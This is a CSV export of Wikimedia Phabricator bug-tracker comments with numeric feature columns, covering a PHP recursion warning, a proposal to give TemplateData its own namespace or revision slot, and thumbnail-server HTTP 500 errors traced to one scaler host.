+239649,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Every 2.0s: tail -n 1000 /home/wikipedia/syslog/apache.log | grep -v 'Search backend error' | grep -v -i 'swift' | grep 'PHP\|Segmentation ...  Tue Nov 12 22:33:46 2013
+
+    240 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf3/includes/context/RequestContext.php on line 284
+     72 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf2/includes/context/RequestContext.php on line 284",,,1384295661,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+239645,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Yup, there are these warnings almost always shown in the last 1000 lines of the apache syslogs",,,1384277258,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239640,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Sam, are these still being observed, or have they gone away?",,,1384246201,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+239635,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,I can't do anything about this without a backtrace. Not sure how to mark that.,,,1379397762,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,11,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+56140,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","e.g. Template:Information could be documented at TemplateData:Information instead of inside the source code of Template:Information.
+
+Pros:
+
+%%%1. More standard use of ContentHandler for JSON across projects
+2. Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages
+3. Easier to implement custom editors for ContentHandler pages than for portions of wikitext pages.%%%
+
+Cons:
+
+%%%1. Would need to have two separate systems - one for the JSON storage, then another to transclude the generated documentation onto template doc pages, e.g. with <templatedata /> or {{#templatedata}} or so (no params needed, because the TemplateData namespace page can be of the same name, like a talk page)
+2. Would need to rework the existing editor (sorry, mooeypoo) to work with the new system%%%
+
+--------------------------
+**See Also**: {T52512}",High,80.0,1379223360,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-n7t7uv2o256io5ck73dn,task_description,open,True,c1,3,True,False,,10,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+2132794,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8877796, @Jdforrester-WMF wrote:
+> For the transition, certainly. Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.
+Having shared TemplateData between pages or generating TemplateData programmatically, which those cases cover, are legitimate uses of TemplateData and not hacks. If anything, more templates with the same parameter configurations (like, for example, navigation templates) would benefit from it if it was more widely adopted. Currently, TemplateData adoption is too low, and if anything, we should look for ways to encourage TemplateData adoption, not to discourage it.",,,1685509112,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,517,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,1
+2132790,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","For the record, TemplateData is also read to create automatic template examples, see https://ru.wikipedia.org/wiki/Module:TemplateDataDoc
+This is not a use case that will be supported by Lua if TemplateData data gets moved to another slot, without implementing {T107119}",,,1685508575,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,517,,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+2131469,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8877796, @Jdforrester-WMF wrote:
+> Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.
+
+These are not hacks, these are proper solutions using the public API of TemplateData (a JSON blob), making template editors’ lives easier. How can this “proper documentation” be created without duplicating everything between the TemplateData-compatible documentation and the actually useful documentation (i.e. one that contains e.g. inline links)? Looking at the PoC patch, keeping support for JSON blobs in wikitext would probably need 5-10 lines of extra code, which doesn’t sound like a horrible tech debt even long-term.
+
+MediaWiki developers seem to sometimes forget how much the community relies on templates. Parsoid doesn’t support templates emitting unbalanced wikitext. The result? Large blocks of text, sometimes even whole pages, that have to be edited in wikitext in VisualEditor, or can’t be edited at all. Structured Data on Commons doesn’t support templates at all. The result? Instead of either using or replacing wikitext, all machine-readable metadata is still present in wikitext in one form, and bots duplicate it to another form, making actual edits to pages. Please don’t do the same mistake again and again.",,,1685263240,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,516,,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+2131467,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Many many templates are not documented by an individual JSON for each single template, but derived from series of JSON data generated by documentation template or Lua module, creating TemplateData for many productive templates.
+
+German Wikipedia is documenting latin based language templates by [[ https://de.wikipedia.org/wiki/Template:lang/Latn/Doku | Template:lang/Latn/Doku ]] which provides one unique pattern for all of them ([[ https://de.wikipedia.org/w/index.php?search=hastemplate%3A%22Lang%2FLatn%2FDoku%22&title=Spezial%3ASuche&profile=advanced&fulltext=1&ns10=1 | 196 single templates ]]). The TemplateData and the entire documentation page is produced by very short transclusions like ##{{lang/Latn/Doku|CODE=lv|SPRACHE=lettischer Sprache|EXAMPLE=Rīga}}## in [[ https://de.wikipedia.org/w/index.php?title=Template:lvS&action=edit | Template:lvS ]].
+[[ https://de.wikipedia.org/wiki/Category:Vorlage:Metadokumentation | Category:Vorlage:Metadokumentation ]] lists a pile (53) of such meta documentation patterns. Currently we are planning schemes which are generating full documentation pages for several 10,000 single productive templates, with heading TemplateData of course.
+
+The concept of independent namespace for TemplateData is based on the assumption that every productive template has one static individual JSON code without any JSON code injection.",,,1685257840,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,516,,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+2129667,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8869098, @Tacsipacsi wrote:
+> Would the current JSON structure continue to be supported?
+
+For the transition, certainly. Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.
+
+> [[https://commons.wikimedia.org/wiki/Template:TemplateBox|c:Template:TemplateBox]] relies on being able to generate JSON to avoid unnecessarily duplicating content between the TemplateData and the wikitext description (the latter supports wiki markup, so TemplateData can’t entirely supersede it, unless TemplateData will also start to support wiki markup).
+
+Ack, the very-intentional lack of support for wikitext (and all the horrors that entails) means some forms of documentation are hard to do. We should probably add additional fields including link targets and good- and bad-example samples to augment the structured data so that it works better for secondary use cases. That's outside the scope of this task, however.",,,1684947002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,516,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1
+2127607,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Change 921693 had a related patch set uploaded (by TK-999; author: TK-999):
+%%%[mediawiki/extensions/TemplateData@master] [PoC] MCR slot for TemplateData content%%%
+https://gerrit.wikimedia.org/r/921693",,,1684667542,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+2127581,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Would the current JSON structure continue to be supported? [[https://commons.wikimedia.org/wiki/Template:TemplateBox|c:Template:TemplateBox]] relies on being able to generate JSON to avoid unnecessarily duplicating content between the TemplateData and the wikitext description (the latter supports wiki markup, so TemplateData can’t entirely supersede it, unless TemplateData will also start to support wiki markup).",,,1684664576,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+2127544,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Tagging #Wikimedia-Hackathon-2023 to showcase a basic PoC created during this event.,,,1684658990,,PHID-USER-c4xszutxtrvtj73h3rns,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+1200143,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","See related approach by [[ https://www.mediawiki.org/wiki/Module:TNT | Module:TNT ]] -- it stores templatedata [[ https://commons.wikimedia.org/wiki/Data:Templatedata/Graph:Lines.tab | as a table (example) ]]. In this case <templatedata> will be dynamically generated during the parse time, and is available to every language/every wiki.",,,1545340062,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+1199675,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Please note that these are not static pages.
+* The URI comment looks like assigning a static page which is simply transcluded.
+* Entire JSON TemplateData descriptions are generated individually by template or Lua programming; depending on parameters and existence of other pages.
+* You may have a look e.g. at [[ https://de.wikipedia.org/w/index.php?title=Vorlage:enS&action=edit | use of lang/Latn/Doku ]] and the derived page.",,,1545295664,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1199609,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#3143510, @PerfektesChaos wrote:
+> * There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
+> ** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sometimes parameters.
+
+Interesting. json-schema allows referencing/embedding other schemas by using a special `""$ref"": ""[URI to another schema]""` key. Maybe something like that could be implemented in TemplateData instead of requiring the use of parser functions.
+
+",,,1545275829,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1
+911940,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",This could be held like doc subpages or currently deployed css subpages instead,,,1502648392,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,214,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+1068644,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
+* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
+** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
+** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
+* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
+** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sometimes parameters.
+Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
+",,,1526399860,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,254,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+834499,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
+* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
+** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
+** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
+* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
+** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sommetimes parameters.
+Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
+",,,1490880640,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,195,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+590984,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I've fiddled with this because either {T487} or {T107595} would both meet this need. I think the latter is both more likely to occur and a better outcome, but…",,,1452893325,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,132,,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+236209,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Re-wording; this is blocked by https://www.mediawiki.org/wiki/Requests_for_comment/Associated_namespaces being implemented.,,,1401208356,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+236205,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","See also:
+https://www.mediawiki.org/wiki/Requests_for_comment/Associated_namespaces#Use_case_2b:_Structured_template_documentation",,,1398702686,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+236200,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I talked about that briefly on IRC, we decided that since this is specifically about the namespace proposal, until we decided what to do about it, we'd leave both open. And closing that bug may not necessarily close this bug.",,,1379512241,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+236195,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Is this a dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=50512#c0 ?,,,1379497097,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0
+56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.
+
+For example:
+
+
+
+GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
+HTTP 500
+<html><head><title>Error generating thumbnail</title></head>
+<body>
+<h1>Error generating thumbnail</h1>
+<p>
+Error creating thumbnail:
+</p>
+<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
+<!-- mw1154 -->
+</body>
+</html>
+
+Usually when trying again, it just works.
+
+I've been getting these errors in many different environments:
+* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
+* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
+* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.
+
+I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c1,3,True,False,True,10,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
+[02:06:20] <paravoid> what's wrong with it?
+[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
+[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
+[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
+[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
+[02:08:35] <paravoid> blergh
+[02:09:01] <paravoid> fixed
+[02:09:58] <Reedy> is that's what's up with it?
+[02:10:05] <paravoid> yes, fixed
+[02:10:09] <Reedy> awesome
+[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154
+
+
+reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
+50057
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+125850
+reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
+50451
+reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
+50584
+reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
+51015
+reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
+50386
+reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
+50134
+reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
+51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0
+254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
